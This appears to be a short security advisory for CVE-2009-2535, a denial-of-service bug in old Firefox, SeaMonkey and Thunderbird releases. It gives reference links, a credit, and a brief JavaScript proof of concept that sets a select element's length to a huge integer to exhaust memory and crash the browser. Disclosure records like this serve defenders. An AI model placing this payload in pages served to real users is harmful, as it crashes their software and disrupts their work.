Common Vulnerabilities and Exposures assigned an identifier of CVE-2009-2535 to the following vulnerability: Mozilla Firefox before 2.0.0.19 and 3.x before 3.0.5, SeaMonkey, and Thunderbird allow remote attackers to cause a denial of service (memory consumption and application crash) via a large integer value for the length property of a Select object, a related issue to CVE-2009-1692. References: ----------- http://www.securityfocus.com/archive/1/archive/1/504989/100/0/threaded http://www.securityfocus.com/archive/1/archive/1/504988/100/0/threaded http://www.securityfocus.com/archive/1/archive/1/504969/100/0/threaded http://www.securityfocus.com/archive/1/archive/1/505006/100/0/threaded http://www.milw0rm.com/exploits/9160 http://www.g-sec.lu/one-bug-to-rule-them-all.html https://bugzilla.mozilla.org/show_bug.cgi?id=460713 Credit: Thierry Zoller ------- Proof of Concept: ---------------- <script> function poc(o) { e = document.createElement("select"); e.length=2147483647; } function go() { poc(0); } </script> URL: ---- http://www.crashthisthing.com/select.html